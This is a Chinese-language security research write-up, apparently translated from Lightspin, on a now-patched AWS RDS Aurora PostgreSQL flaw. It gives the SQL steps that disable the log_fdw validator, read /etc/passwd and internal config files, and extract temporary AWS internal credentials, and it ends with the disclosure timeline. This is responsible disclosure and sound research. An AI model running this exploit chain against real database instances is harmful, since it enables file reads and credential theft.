AWS RDS漏洞導致AWS內部服務憑證失效
Lightspin 的研究團隊在 RDS 服務上，利用 PostgreSQL 數據庫中的 log_fdw 擴展功能所存在的本地文件讀取漏洞，獲得了一個 RDS 服務所在 EC2 實例上的訪問憑證，這個訪問憑證與 AWS 內部賬號相關聯。
該漏洞報告給了 AWS 安全團隊，他們很快就打一個初始補丁，不過僅限于比較新的 RDS 服務版本和 Aurora PostgreSQL 引擎，不包括舊版本。
在打完補丁后，RDS團隊親自聯系了過去幾個月中使用有漏洞版本的每個客戶，并指導他們完成升級過程，以確保減輕影響。最近，AWS團隊已經確認，該漏洞已經被修復，沒有客戶受到影響。
你可能已經熟悉什么是亞馬遜RDS了：亞馬遜關系型數據庫服務（RDS）是一個可管理的數據庫服務，支持幾個不同的數據庫引擎，如MariaDB、MySQL，以及本帖的主題：PostgreSQL。AWS還維護著他們自己的數據庫引擎--Amazon Aurora，它具備 PostgreSQL 和 MySQL 的兼容性。
探討
我使用Amazon Aurora PostgreSQL引擎創建了一個Amazon RDS數據庫實例，并使用psql連接到數據庫。我開始對數據庫和預裝角色進行了一些基本的探索。
注意，"postgres "用戶不是一個真正的超級用戶，它是一個rds_superuser。
AWS文檔對該角色的描述是："rds_superuser角色是一個預定義的亞馬遜RDS角色，類似于PostgreSQL的超級用戶角色（在本地實例中習慣上稱為postgres），但有一些限制。"
很明顯，這個rds_superuser不能運行系統命令，不能讀取本地文件，也不能做任何與下線機器有關的操作。否則，這太容易了。
下面是一張截圖，詳細說明了在試圖使用rds_superuser角色時的失敗操作。
所以，我想過用一種不受信任的語言來創建一個可以執行系統命令的函數，但我無法加載不受信任的語言，如plperlu或plpythonu。
返回的錯誤建議看一下rds.extensions配置參數。
雖然亞馬遜RDS的PostgreSQL引擎支持許多語言擴展，但它們都不是不受信任的語言。因此，我決定對這些擴展做一些進一步的分析和研究，希望能找到線索。
log_fdw擴展名
log_fdw擴展被9.6.2及以上版本的亞馬遜RDS for PostgreSQL引擎所支持。這個擴展使用戶能夠使用SQL接口訪問數據庫引擎的日志，并建立外來表，將日志數據整齊地分成幾列。
我按照文檔的要求，創建了國外服務器和表。
1.獲取log_fdw擴展，并將日志服務器創建為一個外來數據封裝器。
CREATE EXTENSION log_fdw;CREATE SERVER log_server FOREIGN DATA WRAPPER log_fdw;SELECT * FROM list_postgres_log_files() order by 1;
2.選擇一個日志文件，創建一個表并讀取其內容。
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘postgresql.log’);SELECT * FROM my_postgres_error_log;
我想到的第一件事就是嘗試進行路徑穿越。下面的截圖顯示了這方面的嘗試。
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘../../../../../etc/passwd’);
在執行該命令時，我收到以下異常。"錯誤。指定的日志文件路徑無效"。
我在想，這個錯誤是由于相對路徑還是由于某些驗證功能而發生的。為了檢查這一點，我嘗試了另一個相對路徑，它不被歸類為惡意模式。
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘./postgresql.log’);
這顯然是一個驗證函數。
了解PostgreSQL的外來數據
PostgreSQL允許使用常規的SQL查詢來訪問駐留在PostgreSQL之外的數據。這種數據被稱為外來數據，并在外來數據包裝器的幫助下被訪問。國外數據包裝器是一個庫（通常用C語言編寫），它可以與外部數據源（如文件）通信，并可以從它那里獲得數據。
國外數據包裝器的作者需要實現2個函數。
1.處理函數 - 觸發獲取外部數據的動作
2.驗證器函數（可選）--負責驗證給國外數據封裝器的選項，以及國外服務器和國外表格的選項。
一旦創建了這些函數，用戶就可以創建一個外國數據包裝器。
用戶還需要創建一個外國服務器，它定義了如何連接到一個特定的外部數據源。
然后，用戶需要創建一個外來表，它定義了外部數據的結構。
對一個外來數據表的所有操作都是通過其相關的外來數據包裝器來處理的。
AWS為log_fwd創建了一個自定義的國外數據包裝器，其中包括一個處理函數和一個驗證函數。
SELECT * FROM pg_foreign_data_wrapper;
繞過log_fdw擴展驗證的問題
回到路徑遍歷上...... 驗證可以發生在驗證器函數、處理函數或兩者中。由于驗證器函數是可選的，你可以放棄它而不破壞功能。
ALTER FOREIGN DATA WRAPPER log_fdw NO VALIDATOR;
現在我們檢查一下遍歷是否會成功 ...
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘../../../../../etc/passwd’);SELECT * FROM my_postgres_error_log;
它成功了！！！。在處理函數中沒有驗證。
由于實際上已經不需要遍歷，可以直接創建表。
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/etc/passwd’);SELECT * FROM demo;
發現AWS內部服務訪問令牌
我花了一些時間查看系統文件，直到我在PostgreSQL配置文件中發現了一個有趣的參數，這個參數沒有通過使用psql顯示。
PostgreSQL的配置文件位于"/rdsdbdata/config/postgresql.conf"。下面是配置文件的輸出。
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/rdsdbdata/config/postgresql.conf’); SELECT * FROM demo;
下面的截圖突出了 "apg_storage_conf_file "這個有趣的參數，它指向另一個名為 "grover_volume.conf "的配置文件。
我不知道 "grover "是什么意思，但讓我們看一下文件的內容。
下面是讀取"/rdsdbdata/config/grover_volume.conf "內容的輸出。
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/rdsdbdata/config/grover_volume.conf’); SELECT * FROM demo;
該文件內容指向另一個文件"/tmp/csd-grover-credentials.json"。讓我們看一下這個文件的內容（希望不要再被重定向到另一個文件）。
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/tmp/csd-grover-credentials.json’); SELECT * FROM demo;
該文件包括一個類型為 "CSD_GROVER_API_CREDENTIALS "的臨時憑證。publicKey "和 "privateKey "的值分別看起來像STS的 "AccessKeyId "和 "SecretAccessKey"。暗示這一點的跡象是 "publicKey "的前綴是 "ASIA"（在AWS IAM用戶指南的唯一標識符部分規定），以及額外的 "token "參數。
通過將訪問密鑰、秘密訪問密鑰和會話令牌導出到我的環境，并使用AWS安全令牌服務（STS）的GetCallerIdentity API來驗證這一點，該API返回當前使用的IAM憑證的用戶ID、賬戶ID和亞馬遜資源名稱（ARN）。從ARN中，我們可以看到假設的角色名稱是AWS內部賬戶中的 "csd-grover-role"。
在穿越三個不同的文件時，我能夠發現一個內部的AWS服務并獲得訪問權。我的分析和研究到此為止，我沒有試圖列舉任何IAM權限或進一步橫向進入AWS的內部環境。
AWS緩解和調查
我們向AWS安全團隊報告了這個漏洞，他們在幾天內發布了最新引擎版本的修復。AWS安全團隊做了一個調查，以驗證這個漏洞之前沒有被其他人利用，并確認了這一點。
至于Grover，AWS不能透露有關內部服務的細節。
時間表
2021年12月9日:漏洞被報告給AWS安全部門。
2021年12月9日:AWS確認該漏洞，并開始進行補救和調查。
2021年12月14日:AWS部署了初始補丁，更新他們正在進行全面修復。
2022年3月22日:AWS確認，他們已經聯系了所有受影響的客戶，并修復了所有當前支持的版本。
總結
由于AWS云的現收現付模式和服務的多樣性，它是全世界許多開發者、建筑師和安全專家的福音。然而，像任何服務提供商一樣，包裝第三方服務（如PostgreSQL）并試圖為用戶提供高級功能，有時是一把雙刃劍。
2022-04-11更新：自從發表我們的文章后，AWS發布了與此發現有關的安全公告https://aws.amazon.com/security/security-bulletins/AWS-2022-004/
